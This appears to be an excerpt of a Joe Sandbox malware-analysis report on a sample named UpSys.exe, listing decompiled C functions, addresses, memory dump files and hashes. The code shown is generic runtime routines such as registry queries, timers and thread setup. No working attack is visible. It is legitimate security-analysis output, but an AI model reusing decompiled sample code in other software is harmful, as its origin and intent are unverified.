                                                                                                                                                                                                        0x140019cb3
                                                                                                                                                                                                        0x140019cc4
                                                                                                                                                                                                        0x140019cc8
                                                                                                                                                                                                        0x140019cd0
                                                                                                                                                                                                        0x140019cda
                                                                                                                                                                                                        0x140019ce1
                                                                                                                                                                                                        0x140019ce1
                                                                                                                                                                                                        0x140019cec
                                                                                                                                                                                                        0x140019cee
                                                                                                                                                                                                        0x140019cf7
                                                                                                                                                                                                        0x140019cfc
                                                                                                                                                                                                        0x140019d03
                                                                                                                                                                                                        0x140019d06
                                                                                                                                                                                                        0x140019d08
                                                                                                                                                                                                        0x140019d0d
                                                                                                                                                                                                        0x140019d0f
                                                                                                                                                                                                        0x140019d11
                                                                                                                                                                                                        0x140019d20
                                                                                                                                                                                                        0x140019d2d
                                                                                                                                                                                                        0x140019d2f
                                                                                                                                                                                                        0x140019d33
                                                                                                                                                                                                        0x140019d35
                                                                                                                                                                                                        0x140019d3c
                                                                                                                                                                                                        0x140019d52
                                                                                                                                                                                                        0x140019d7a

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DecodePointer_errno
                                                                                                                                                                                                        • String ID: C:\ProgramData\UpSys.exe
                                                                                                                                                                                                        • API String ID: 3485708101-3875041276
                                                                                                                                                                                                        • Opcode ID: d388800f35650a0f3b4440236be9f3b7d4c2edd4882c332c5505e8f0151da590
                                                                                                                                                                                                        • Instruction ID: c1c36dfd63624f003008353240407049b84e3327e8c20ba8a9f99b2607c89183
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d388800f35650a0f3b4440236be9f3b7d4c2edd4882c332c5505e8f0151da590
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9651DD3260479486FB2A9B2BE4443A977A1F788BC8F598115EF850B7FDCA36D841C781
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003EF50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Temp$FileNamePath
                                                                                                                                                                                                        • String ID: aut
                                                                                                                                                                                                        • API String ID: 3285503233-3010740371
                                                                                                                                                                                                        • Opcode ID: de3ddb83ed539980696ca4103de73decef9d6bd9280ae38417092164041c89ea
                                                                                                                                                                                                        • Instruction ID: fa299dd2e81e12413c46f07ae2dea8cb32159b1c8a978fd997dd3f7fafd42e28
                                                                                                                                                                                                        • Opcode Fuzzy Hash: de3ddb83ed539980696ca4103de73decef9d6bd9280ae38417092164041c89ea
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F3D05EB262054993EB214B59E494BD66361F78D78CF845011AB8D077A99E3CC39ECB10
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140005240 Relevance: 4.6, APIs: 3, Instructions: 109COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: b197ac18185f4eff8710537e5cf7a7ba9b97161ce22e4e2ebe5d17221256f12e
                                                                                                                                                                                                        • Instruction ID: 53a1f15f0a241f42099e113182f4b35ddd2de3fa640b306f3da4d2ddd580cf36
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b197ac18185f4eff8710537e5cf7a7ba9b97161ce22e4e2ebe5d17221256f12e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E5413D72205A0486EA66EF63E5543EE2371FB8EFC1F584011FB4A4B6B6CF39C9918741
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140007A40 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 100%
                                                                                                                                                                                                        			E00000001140007A40(long long __rbx, intOrPtr* __rcx, long long __rsi, long long _a8, long long _a16) {
				intOrPtr _t8;

				_a8 = __rbx;
				_a16 = __rsi;
				if ( *((intOrPtr*)(__rcx + 0x10)) != 0) goto 0x40007aa6;
				_t8 =  *((intOrPtr*)(__rcx + 8));
				if (_t8 == 8) goto 0x400321e0;
				if (_t8 == 0xa) goto 0x40032200;
				if (_t8 == 5) goto 0x4003221c;
				if (_t8 == 0xb) goto 0x4003222a;
				if (_t8 == 0xc) goto 0x40032244;
				 *__rcx = 0;
				 *((intOrPtr*)(__rcx + 8)) = 1;
				return _t8;
			}




                                                                                                                                                                                                        0x140007a40
                                                                                                                                                                                                        0x140007a45
                                                                                                                                                                                                        0x140007a5b
                                                                                                                                                                                                        0x140007a5d
                                                                                                                                                                                                        0x140007a63
                                                                                                                                                                                                        0x140007a6c
                                                                                                                                                                                                        0x140007a75
                                                                                                                                                                                                        0x140007a7e
                                                                                                                                                                                                        0x140007a87
                                                                                                                                                                                                        0x140007a8d
                                                                                                                                                                                                        0x140007a94
                                                                                                                                                                                                        0x140007aa5

                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: d7da69b0f215fe6e6ec4e6fc820c7eb673225f7a2a7a9e68c48671f16d3c0487
                                                                                                                                                                                                        • Instruction ID: c5cfc9846bfdc176c21f931fd799fc269a08ab84a7df06e41df605b3caf49ec0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d7da69b0f215fe6e6ec4e6fc820c7eb673225f7a2a7a9e68c48671f16d3c0487
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 35312B3274550081EA57DB27E5507ED23A4EB8EFC4F588411FB1E4B6B6CF39CA918742
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140015480 Relevance: 4.6, APIs: 3, Instructions: 63COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 58%
                                                                                                                                                                                                        			E00000001140015480(void* __eax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long _a8, long long _a16, char _a24, char _a32) {
				char _v536;
				char _v1064;
				intOrPtr* _v1072;
				intOrPtr* _v1080;
				long long _v1096;
				long long _v1104;
				long long _v1112;
				void* _t28;

				_a16 = __rsi;
				__imp__SHGetMalloc(); // executed
				if (__eax != 0) goto 0x40031520;
				_a8 = __rbx;
				__imp__SHGetDesktopFolder(); // executed
				if (__eax != 0) goto 0x40015553;
				E00000001140016E4C( &_v1064, __rcx);
				_v1096 = __rbx;
				_v1104 =  &_a32;
				r8d = 0;
				_v1112 =  &_a24;
				_t28 =  *((intOrPtr*)( *_v1072 + 0x18))();
				if (_t28 != 0) goto 0x40015548;
				__imp__SHGetPathFromIDListW(); // executed
				if (_t28 == 0) goto 0x40015534;
				E00000001140016E4C(__rdx,  &_v536);
				 *((intOrPtr*)( *_v1080 + 0x28))();
				 *((intOrPtr*)( *_v1072 + 0x10))();
				 *((intOrPtr*)( *_v1080 + 0x10))();
				if (_t28 == 0) goto 0x40031520;
				return 1;
			}











                                                                                                                                                                                                        0x140015480
                                                                                                                                                                                                        0x140015498
                                                                                                                                                                                                        0x1400154a0
                                                                                                                                                                                                        0x1400154ab
                                                                                                                                                                                                        0x1400154b5
                                                                                                                                                                                                        0x1400154bd
                                                                                                                                                                                                        0x1400154cb
                                                                                                                                                                                                        0x1400154e0
                                                                                                                                                                                                        0x1400154e5
                                                                                                                                                                                                        0x1400154f7
                                                                                                                                                                                                        0x1400154fa
                                                                                                                                                                                                        0x140015501
                                                                                                                                                                                                        0x140015506
                                                                                                                                                                                                        0x140015518
                                                                                                                                                                                                        0x140015522
                                                                                                                                                                                                        0x14001552f
                                                                                                                                                                                                        0x140015544
                                                                                                                                                                                                        0x140015550
                                                                                                                                                                                                        0x14001555b
                                                                                                                                                                                                        0x140015568
                                                                                                                                                                                                        0x140015580

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DesktopFolderFromListMallocPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2281215042-0
                                                                                                                                                                                                        • Opcode ID: c50490f675dd9b8ae6c96e6a4ef40ddb81ca9edb44230f941f84ee555a4d2042
                                                                                                                                                                                                        • Instruction ID: d1e185c80133455724cfdb84ed2b9fdf8afd51e55fdda8764a9dc786a209b275
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c50490f675dd9b8ae6c96e6a4ef40ddb81ca9edb44230f941f84ee555a4d2042
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4921FD76308B81C1DB61DB2AE49439EA3A1F7C9BC4F448425EB8D47B68DF3AC549CB04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140011C70 Relevance: 4.6, APIs: 3, Instructions: 58timewindowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 48%
                                                                                                                                                                                                        			E00000001140011C70(long long __rbx, long long __rcx, long long __rdx, long long __rdi, void* __r8, void* __r9, void* _a8) {
				void* _v8;
				intOrPtr _v948;
				intOrPtr _v952;
				long long _v960;
				intOrPtr _v968;
				void* _t13;
				int _t17;
				void* _t18;
				void* _t28;
				long long _t30;
				long long _t39;
				void* _t41;

				_t28 = _t41;
				if (__r8 != 1) goto 0x40011d2a;
				 *((long long*)(_t28 + 8)) = __rbx;
				_t30 = __rcx;
				 *((long long*)(_t28 - 8)) = __rdi;
				_t39 = __rdx;
				r8d = 0x3b0;
				_v968 = 0x3b8;
				E00000001140017520(_t13, _t18, 0,  &_v960, __rdx, __r8);
				E00000001140010E00(__rcx, __rcx, __rdx, __r8);
				if ( *0x400b549a == 0) goto 0x40011cf6;
				_v960 = _t39;
				_v952 = 1;
				_v948 = 2;
				if ( *0x400b549c != 0) goto 0x40033320;
				if ( *((char*)(_t30 + 0xd)) != 0) goto 0x40033339;
				if ( *((char*)(_t30 + 0x2e8)) == 1) goto 0x4003335b;
				KillTimer(??, ??);
				r9d = 0;
				r8d = 0x2ee;
				_t17 = SetTimer(??, ??, ??, ??); // executed
				return _t17;
			}















                                                                                                                                                                                                        0x140011c70
                                                                                                                                                                                                        0x140011c7e
                                                                                                                                                                                                        0x140011c84
                                                                                                                                                                                                        0x140011c88
                                                                                                                                                                                                        0x140011c8b
                                                                                                                                                                                                        0x140011c8f
                                                                                                                                                                                                        0x140011c97
                                                                                                                                                                                                        0x140011c9f
                                                                                                                                                                                                        0x140011ca7
                                                                                                                                                                                                        0x140011caf
                                                                                                                                                                                                        0x140011cbb
                                                                                                                                                                                                        0x140011cc4
                                                                                                                                                                                                        0x140011cc9
                                                                                                                                                                                                        0x140011cd1
                                                                                                                                                                                                        0x140011cd9
                                                                                                                                                                                                        0x140011ce3
                                                                                                                                                                                                        0x140011cf0
                                                                                                                                                                                                        0x140011cfe
                                                                                                                                                                                                        0x140011d04
                                                                                                                                                                                                        0x140011d07
                                                                                                                                                                                                        0x140011d14
                                                                                                                                                                                                        0x140011d31

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: IconNotifyShell_Timer$Kill
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3500052701-0
                                                                                                                                                                                                        • Opcode ID: 46b7880de0e4752af8bfcd9fd0ac1f707ff3cf8e1005b4055181e64fd872709e
                                                                                                                                                                                                        • Instruction ID: 583a8a2e8ae545ace8736e4f5d896ded5a9a190ab22f598bee1ac162af854d1a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 46b7880de0e4752af8bfcd9fd0ac1f707ff3cf8e1005b4055181e64fd872709e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 193162716087C085F7678B26E0983EE6B95E349BC8F084126EB890B7B5CB7DC1858711
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001D88C Relevance: 4.5, APIs: 3, Instructions: 35memorythreadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 23%
                                                                                                                                                                                                        			E0000000114001D88C(long* __rax, void* __rcx) {
				void* __rbx;
				intOrPtr _t5;
				void* _t6;
				long _t8;
				long* _t21;
				void* _t22;
				long* _t23;
				void* _t27;
				void* _t29;
				void* _t30;
				void* _t31;

				_t21 = __rax;
				E000000011400172F4(__rax); // executed
				_t5 = E0000000114001EFAC(_t22, _t29, _t30);
				if (_t5 == 0) goto 0x4001d900;
				__imp__FlsAlloc();
				 *0x400ad470 = _t5;
				if (_t5 == 0xffffffff) goto 0x4001d900;
				_t6 = E0000000114001D97C(_t22, 0x14001d714, _t27, _t29, _t30, _t31);
				_t23 = _t21;
				if (_t21 == 0) goto 0x4001d900;
				__imp__FlsSetValue();
				if (_t6 == 0) goto 0x4001d900;
				E0000000114001D5B8(_t23, _t23, _t21);
				_t8 = GetCurrentThreadId();
				_t23[2] = _t23[2] | 0xffffffff;
				 *_t23 = _t8;
				goto 0x4001d907;
				E0000000114001D590(_t23, _t23, _t21);
				return 0;
			}














                                                                                                                                                                                                        0x14001d88c
                                                                                                                                                                                                        0x14001d892
                                                                                                                                                                                                        0x14001d897
                                                                                                                                                                                                        0x14001d89e
                                                                                                                                                                                                        0x14001d8a7
                                                                                                                                                                                                        0x14001d8ad
                                                                                                                                                                                                        0x14001d8b6
                                                                                                                                                                                                        0x14001d8c2
                                                                                                                                                                                                        0x14001d8c7
                                                                                                                                                                                                        0x14001d8cd
                                                                                                                                                                                                        0x14001d8d8
                                                                                                                                                                                                        0x14001d8e0
                                                                                                                                                                                                        0x14001d8e7
                                                                                                                                                                                                        0x14001d8ec
                                                                                                                                                                                                        0x14001d8f2
                                                                                                                                                                                                        0x14001d8f7
                                                                                                                                                                                                        0x14001d8fe
                                                                                                                                                                                                        0x14001d900
                                                                                                                                                                                                        0x14001d90c

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00000001400172F4: _initp_misc_winsig.LIBCMT ref: 000000014001732D
                                                                                                                                                                                                          • Part of subcall function 00000001400172F4: EncodePointer.KERNEL32 ref: 0000000140017349
                                                                                                                                                                                                        • FlsAlloc.KERNEL32(?,?,00000000,000000014001D376), ref: 000000014001D8A7
                                                                                                                                                                                                          • Part of subcall function 000000014001D97C: Sleep.KERNEL32(?,?,?,000000014001D69F,?,?,?,000000014001EAED,?,?,?,?,0000000140017EED), ref: 000000014001D9C1
                                                                                                                                                                                                        • FlsSetValue.KERNEL32(?,?,00000000,000000014001D376), ref: 000000014001D8D8
                                                                                                                                                                                                        • GetCurrentThreadId.KERNEL32 ref: 000000014001D8EC
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _lock$AllocCurrentEncodePointerSleepThreadValue_initp_misc_winsig
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 54287522-0
                                                                                                                                                                                                        • Opcode ID: bb8253d7dc42f78c87468a0b4b2cdba8a877aebfaa84eca33ddeade09bbe1cc1
                                                                                                                                                                                                        • Instruction ID: 15538a427189a3277b51fc55afa23c1daa81a2cb14ad88a928291c8cc6654b8b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bb8253d7dc42f78c87468a0b4b2cdba8a877aebfaa84eca33ddeade09bbe1cc1
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BC01447121160586FB576B77A8053D932A5AB4C7E4F044326BB7D8F2F1EF39C4818611
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140015DE0 Relevance: 4.5, APIs: 3, Instructions: 30registryCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • RegOpenKeyExW.KERNELBASE(?,?,?,?,00000000,0000000140015DBE,?,?,?,?,?,?,0000000140012965), ref: 0000000140015E12
                                                                                                                                                                                                        • RegQueryValueExW.KERNELBASE(?,?,?,?,00000000,0000000140015DBE,?,?,?,?,?,?,0000000140012965), ref: 0000000140015E39
                                                                                                                                                                                                        • RegCloseKey.KERNELBASE(?,?,?,?,00000000,0000000140015DBE,?,?,?,?,?,?,0000000140012965), ref: 0000000140015E44
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseOpenQueryValue
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3677997916-0
                                                                                                                                                                                                        • Opcode ID: c15fa8fc37ed7140555d39d685c2229fbd7b80dc3d16321e03e193852677040b
                                                                                                                                                                                                        • Instruction ID: 6aed952070ae565cfb9ec907b5e8bd8c2b3f6d57eb2276f56fcb20136f4b9245
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c15fa8fc37ed7140555d39d685c2229fbd7b80dc3d16321e03e193852677040b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 39F03C37214B85C2DB118F22F844B8AB7A5F788BD8F545122EB8C47B28DB38D1558B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003EED0 Relevance: 4.5, APIs: 3, Instructions: 30filetimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
